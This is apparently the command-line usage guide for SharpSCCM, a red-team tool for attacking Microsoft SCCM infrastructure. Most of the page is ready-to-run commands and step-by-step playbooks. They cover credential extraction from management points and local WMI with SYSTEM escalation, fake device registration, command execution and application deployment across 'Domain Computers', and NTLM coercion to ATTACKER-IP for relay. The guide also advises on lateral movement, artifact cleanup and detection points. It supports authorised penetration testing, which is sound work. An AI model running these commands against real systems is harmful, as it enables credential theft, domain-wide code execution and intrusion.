> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.
# Command Line Usage
> Comprehensive guide to SharpSCCM command-line syntax, options, and usage patterns
**Built-in Help**: All commands and subcommands include automatically generated help pages accessible with `-h`, `--help`, `/h`, `/?`, or `-?`
## Basic Syntax
```bash General Syntax theme={null}
SharpSCCM.exe [command] [subcommand] [options]
```
```bash Example Commands theme={null}
# Information gathering
SharpSCCM.exe get site-info
# Credential extraction
SharpSCCM.exe get secrets -mp SCCM01.corp.local -sc PS1
# Command execution
SharpSCCM.exe exec -d WORKSTATION01 -p "cmd.exe /c whoami"
# Local operations
SharpSCCM.exe local secrets -m wmi
```
## Global Options
These options are available across most SharpSCCM commands:
| Option | Description | Example |
| ------------------------- | ------------------------- | ------------------------ |
| `-sms, --sms-provider` | SMS Provider server | `-sms SCCM01.corp.local` |
| `-mp, --management-point` | Management Point server | `-mp SCCM01.corp.local` |
| `-sc, --site-code` | Three-character site code | `-sc PS1` |
| `--debug` | Enable debug output | `--debug` |
| `--no-banner` | Suppress banner output | `--no-banner` |
| `-?, -h, --help` | Display help information | `--help` |
Control how SharpSCCM displays information:
| Option | Description | Usage |
| ------------------- | ------------------------------ | ----------------------- |
| `-v, --verbose` | Display all properties | Detailed output |
| `-c, --count` | Return count of results | Numerical summary |
| `-z, --dry-run` | Show queries without execution | Testing syntax |
| `-j, --json` | JSON output format | Machine-readable output |
| `-o, --output-file` | Save output to file | Results archival |
Configure how SharpSCCM connects to SCCM infrastructure:
| Option | Description | Notes |
| --------------------- | ------------------------ | -------------------------------- |
| `-sms` | SMS Provider address | Can be IP, FQDN, or NetBIOS name |
| `-mp` | Management Point address | Usually same as SMS Provider |
| `-sc` | Site code | Auto-detected if not specified |
| `-n, --wmi-namespace` | WMI namespace | Custom namespace targeting |
## Command Categories
**`get` Command Group** - Extract information from SCCM infrastructure
```bash Site Discovery theme={null}
# Discover site information via LDAP
SharpSCCM.exe get site-info -d corp.local
# Get current management point and site code
SharpSCCM.exe local site-info
```
```bash Administrative Discovery theme={null}
# List SCCM administrators
SharpSCCM.exe get admins -sms SCCM01
# Get client push installation settings
SharpSCCM.exe get site-push-settings
```
```bash Asset Discovery theme={null}
# Enumerate devices
SharpSCCM.exe get devices -n WORKSTATION
# List applications
SharpSCCM.exe get applications
# Discover collections
SharpSCCM.exe get collections -n "Domain Computers"
```
**Common Parameters:**
* `-n, --name`: Filter by name pattern
* `-p, --properties`: Specify properties to retrieve
* `-w, --where-condition`: Custom WQL WHERE clause
* `-o, --order-by`: Sort results
**`get secrets` / `local secrets`** - Extract stored credentials
```bash Remote Credential Extraction theme={null}
# Get NAA credentials from management point
SharpSCCM.exe get secrets -mp SCCM01.corp.local
# Use specific client identity
SharpSCCM.exe get secrets -c -i
# Register new device for access
SharpSCCM.exe get secrets -r NEWDEVICE -u COMPUTER$ -p password
```
```bash Local Credential Extraction theme={null}
# Extract from local WMI repository
SharpSCCM.exe local secrets -m wmi
# Extract from CIM repository files (historical)
SharpSCCM.exe local secrets -m disk
# Escalate to SYSTEM for extraction
SharpSCCM.exe local secrets -m wmi -s
```
**Key Options:**
* `-m, --method`: Extraction method (wmi/disk)
* `-s, --get-system`: Escalate to SYSTEM
* `-o, --output-file`: Save credentials to file
* `-r, --register-client`: Register new client
**`exec` Command** - Execute code on remote systems
```bash Command Execution theme={null}
# Execute on specific device
SharpSCCM.exe exec -d WORKSTATION01 -p "cmd.exe /c whoami"
# Execute on collection
SharpSCCM.exe exec -n "Domain Computers" -p "powershell.exe -c Get-Process"
# Execute as specific user
SharpSCCM.exe exec -u CORP\user -p "notepad.exe"
```
```bash NTLM Coercion theme={null}
# Coerce authentication from client
SharpSCCM.exe exec -d TARGET -r ATTACKER-IP
# Coerce from user's primary device
SharpSCCM.exe exec -u CORP\user -r 192.168.1.100
```
**Execution Options:**
* `-s, --run-as-system`: Execute as SYSTEM
* `-r, --run-as-user`: Execute as logged-on user
* `-w, --wait-time`: Execution timeout
* `-dir, --working-dir`: Working directory
**`new` / `remove` Commands** - Modify SCCM infrastructure
```bash Create Operations theme={null}
# Create application
SharpSCCM.exe new application -n "MyApp" -p "cmd.exe"
# Create collection
SharpSCCM.exe new collection -n "TestCollection" -t device
# Create deployment
SharpSCCM.exe new deployment -a "MyApp" -c "TestCollection"
```
```bash Delete Operations theme={null}
# Remove application
SharpSCCM.exe remove application "MyApp"
# Delete collection
SharpSCCM.exe remove collection -n "TestCollection"
# Remove deployment
SharpSCCM.exe remove deployment "MyApp_Install"
```
**Management Options:**
* `-n, --name`: Object name
* `-t, --type`: Object type (device/user)
* `-w, --wait-time`: Wait for operation completion
**`invoke` Command Group** - Advanced SCCM operations
```bash CMPivot Queries theme={null}
# Query via AdminService API
SharpSCCM.exe invoke admin-service -q "IPConfig" -r 16777226
# Query collection
SharpSCCM.exe invoke admin-service -q "Processes" -i SMS00001
# JSON output
SharpSCCM.exe invoke admin-service -q "EventLog('Security')" -r 16777226 -j
```
```bash Authentication Coercion theme={null}
# Client push coercion
SharpSCCM.exe invoke client-push -t ATTACKER-IP
# Force policy updates
SharpSCCM.exe invoke update -i SMS00001
```
**Advanced Options:**
* `-q, --query`: CMPivot query string
* `-d, --delay`: Request delay
* `-re, --retries`: Retry attempts
* `-a, --as-admin`: Administrative connection
## Site Configuration
**Auto-Detection**: SharpSCCM automatically detects site configuration when possible. Manual specification is only required in complex environments or when targeting specific infrastructure.
### Automatic Site Discovery
SharpSCCM first attempts to read local SCCM client configuration:
```bash theme={null}
# Check local site information
SharpSCCM.exe local site-info
```
This reads from the local WMI repository at `\\127.0.0.1\root\CCM`.
If local configuration is available, SharpSCCM uses the current management point:
```text theme={null}
Current management point: SCCM01.corp.local
Site code: PS1
```
The SMS Provider role may be hosted separately from management points. Use site discovery to identify it:
```bash theme={null}
SharpSCCM.exe get site-info -d corp.local
```
### Manual Configuration
**Scenarios requiring manual configuration:**
* Non-domain joined systems
* SCCM client not installed
* Targeting different sites
* SMS Provider on separate server
* Cross-domain operations
**Manual specification examples:**
```bash theme={null}
# Specify SMS Provider and site code
SharpSCCM.exe get admins -sms SCCM01.corp.local -sc PS1
# Different management point
SharpSCCM.exe get secrets -mp MP01.corp.local -sc PS1
# Cross-domain targeting
SharpSCCM.exe get site-info -d external.corp.local
```
## Authentication & Permissions
**Integrated Windows Authentication (Default)**
```bash theme={null}
# Uses current user context
SharpSCCM.exe get admins
```
**Computer Account Authentication**
```bash theme={null}
# For credential extraction
SharpSCCM.exe get secrets -u COMPUTER$ -p password -r NEWDEVICE
```
**Certificate-Based Authentication**
```bash theme={null}
# Using existing certificate
SharpSCCM.exe get secrets -c -i
```
**Elevated Privileges**
```bash theme={null}
# Local elevation for credential extraction
SharpSCCM.exe local secrets -m wmi -s
```
**Minimum Permissions by Operation:**
| Operation | Required Role | Additional Requirements |
| --------------------------- | ------------------------- | -------------------------------- |
| Site discovery | Domain User | LDAP read access |
| Information gathering | Read-only Analyst | SMS Admins local group |
| Credential extraction | None | Local admin or computer account |
| Application deployment | Application Administrator | Collection permissions |
| Infrastructure modification | Full Administrator | Site modification rights |
| CMPivot queries | CMPivot Operator | Read permissions + CMPivot scope |
**Permission Escalation:**
* Start with read-only operations
* Use extracted credentials for privileged operations
* Leverage SCCM roles for lateral movement
**Lab Environment (Recommended)**
```bash theme={null}
# Safe information gathering
SharpSCCM.exe get site-info --dry-run
SharpSCCM.exe local client-info
SharpSCCM.exe get collections -c
```
**Production Environment (Authorized Only)**
```bash theme={null}
# Read-only operations
SharpSCCM.exe get admins --no-banner
SharpSCCM.exe get devices -c
# Credential extraction (non-destructive)
SharpSCCM.exe local secrets -m wmi
```
**Cleanup After Testing**
```bash theme={null}
# Remove created applications
SharpSCCM.exe remove application "TestApp"
# Delete test collections
SharpSCCM.exe remove collection -n "TestCollection"
```
## Common Usage Patterns
**Step 1: Site Discovery**
```bash theme={null}
# Discover site infrastructure
SharpSCCM.exe get site-info -d corp.local
SharpSCCM.exe local site-info
```
**Step 2: Administrative Enumeration**
```bash theme={null}
# List administrators and permissions
SharpSCCM.exe get admins -v
SharpSCCM.exe get site-push-settings
```
**Step 3: Asset Discovery**
```bash theme={null}
# Enumerate managed assets
SharpSCCM.exe get devices -c
SharpSCCM.exe get collections
SharpSCCM.exe get applications -c
```
**Step 4: Configuration Analysis**
```bash theme={null}
# Analyze security configuration
SharpSCCM.exe get deployments
SharpSCCM.exe local triage
```
**Step 1: Local Credential Extraction**
```bash theme={null}
# Extract from local WMI (if admin)
SharpSCCM.exe local secrets -m wmi
# Historical extraction from disk
SharpSCCM.exe local secrets -m disk
```
**Step 2: Policy-Based Extraction**
```bash theme={null}
# Request policies from management point
SharpSCCM.exe get secrets
# With device registration
SharpSCCM.exe get secrets -r TESTDEVICE -u COMPUTER$ -p password
```
**Step 3: Credential Validation**
```bash theme={null}
# Use extracted credentials for further enumeration
# (credentials would be used outside SharpSCCM)
```
**Step 1: Target Identification**
```bash theme={null}
# Find target devices
SharpSCCM.exe get devices -n WORKSTATION
SharpSCCM.exe get collection-members -n "Domain Computers"
```
**Step 2: Application Deployment**
```bash theme={null}
# Create and deploy application
SharpSCCM.exe new application -n "TestApp" -p "cmd.exe /c whoami"
SharpSCCM.exe new deployment -a "TestApp" -c "Domain Computers"
```
**Step 3: Direct Execution**
```bash theme={null}
# Execute on specific targets
SharpSCCM.exe exec -d WORKSTATION01 -p "powershell.exe -c Get-Process"
```
**Step 4: Cleanup**
```bash theme={null}
# Remove artifacts
SharpSCCM.exe remove deployment "TestApp_Install"
SharpSCCM.exe remove application "TestApp"
```
**Step 1: Target Assessment**
```bash theme={null}
# Identify client push settings
SharpSCCM.exe get site-push-settings
# Find user primary devices
SharpSCCM.exe get primary-users -u targetuser
```
**Step 2: Coercion Execution**
```bash theme={null}
# Client push coercion
SharpSCCM.exe invoke client-push -t ATTACKER-IP
# Client-based coercion
SharpSCCM.exe exec -d TARGET -r ATTACKER-IP
```
**Step 3: Authentication Capture**
```bash theme={null}
# Capture would be handled by external tools
# (Responder, ntlmrelayx, etc.)
```
## Output Formats & Filtering
**Standard Output**
```bash theme={null}
# Default formatted output
SharpSCCM.exe get devices
# Verbose output with all properties
SharpSCCM.exe get devices -v
# Count only
SharpSCCM.exe get devices -c
```
**File Output**
```bash theme={null}
# Save to file
SharpSCCM.exe get devices -o devices.txt
# JSON format
SharpSCCM.exe invoke admin-service -q "IPConfig" -r 16777226 -j
```
**Quiet Operations**
```bash theme={null}
# Suppress banner
SharpSCCM.exe get devices --no-banner
# Debug information
SharpSCCM.exe get devices --debug
```
**Name-Based Filtering**
```bash theme={null}
# Partial name matching
SharpSCCM.exe get devices -n WORKSTATION
SharpSCCM.exe get collections -n "Domain"
SharpSCCM.exe get applications -n "Office"
```
**Property-Specific Queries**
```bash theme={null}
# Specific properties only
SharpSCCM.exe get devices -p Name -p LastLogonUserName
# Custom WHERE conditions
SharpSCCM.exe get devices -w "LastLogonUserName LIKE '%admin%'"
```
**Advanced WQL Queries**
```bash theme={null}
# Custom queries via invoke
SharpSCCM.exe invoke query "SELECT Name FROM SMS_R_System WHERE Client=1"
# Dry run to test syntax
SharpSCCM.exe get devices -w "Invalid syntax" -z
```
**Sorting Options**
```bash theme={null}
# Sort by name ascending
SharpSCCM.exe get devices -o "Name ASC"
# Sort by last logon descending
SharpSCCM.exe get devices -o "LastLogonTimestamp DESC"
# Multiple sort criteria
SharpSCCM.exe get collections -o "CollectionType ASC, Name ASC"
```
**Pagination-Like Control**
```bash theme={null}
# Count results first
SharpSCCM.exe get devices -c
# Limit with WHERE clause
SharpSCCM.exe get devices -w "ResourceID < 17000000"
```
## Troubleshooting & Debugging
**Symptoms**: Connection failures, authentication errors
**Diagnostic Commands**:
```bash theme={null}
# Test local connectivity
SharpSCCM.exe local site-info --debug
# Test specific server
SharpSCCM.exe get admins -sms SERVER --debug --dry-run
# Verify WMI connectivity
SharpSCCM.exe get classes -sms SERVER
```
**Common Solutions**:
* Verify SCCM client is installed and functioning
* Check network connectivity to SMS Provider
* Validate user permissions and group membership
* Ensure proper site code and server names
**Symptoms**: Access denied, insufficient permissions
**Diagnostic Approach**:
```bash theme={null}
# Check current user context
whoami /groups
# Test with minimal permissions
SharpSCCM.exe get site-info --debug
# Verify SCCM role assignments
SharpSCCM.exe get admins | findstr %USERNAME%
```
**Resolution Steps**:
* Add user to SMS Admins local group
* Assign appropriate SCCM security roles
* Use computer account for credential extraction
* Escalate privileges locally if needed
**Symptoms**: Invalid WQL syntax, query failures
**Testing Approach**:
```bash theme={null}
# Test query syntax with dry run
SharpSCCM.exe get devices -w "Invalid syntax" -z
# Validate WMI classes
SharpSCCM.exe get classes | findstr SMS_R_System
# Check class properties
SharpSCCM.exe get class-properties SMS_R_System
```
**Best Practices**:
* Use dry run to validate syntax
* Start with simple queries
* Reference WMI class documentation
* Escape special characters properly
**Symptoms**: No results, unexpected output
**Debugging Commands**:
```bash theme={null}
# Enable debug output
SharpSCCM.exe get devices --debug
# Check result count
SharpSCCM.exe get devices -c
# Use verbose output
SharpSCCM.exe get devices -v
```
**Analysis Steps**:
* Verify query returned results with count option
* Check permissions for the queried objects
* Use verbose mode to see all available properties
* Review debug output for connection details
## Best Practices
Begin reconnaissance with safe, read-only commands:
```bash theme={null}
SharpSCCM.exe local site-info
SharpSCCM.exe get site-info -d corp.local
SharpSCCM.exe get admins -c
```
Test command syntax before execution:
```bash theme={null}
SharpSCCM.exe get devices -w "Complex WHERE clause" -z
SharpSCCM.exe invoke query "Custom WQL query" -z
```
Save output for analysis and documentation:
```bash theme={null}
SharpSCCM.exe get admins -v -o administrators.txt
SharpSCCM.exe get site-push-settings -o site-config.txt
```
Remove any created artifacts:
```bash theme={null}
SharpSCCM.exe remove application "TestApp"
SharpSCCM.exe remove collection -n "TestCollection"
```
Be aware of potential detection points:
* SCCM audit logs
* Unusual WMI queries
* Administrative role usage
* Application deployment events
**Tab Completion**: SharpSCCM supports command-line tab completion with dotnet-suggest, but it's disabled by default to avoid creating temporary files. See the [command-line API documentation](https://github.com/dotnet/command-line-api/blob/main/docs/Features-overview.md) for more information.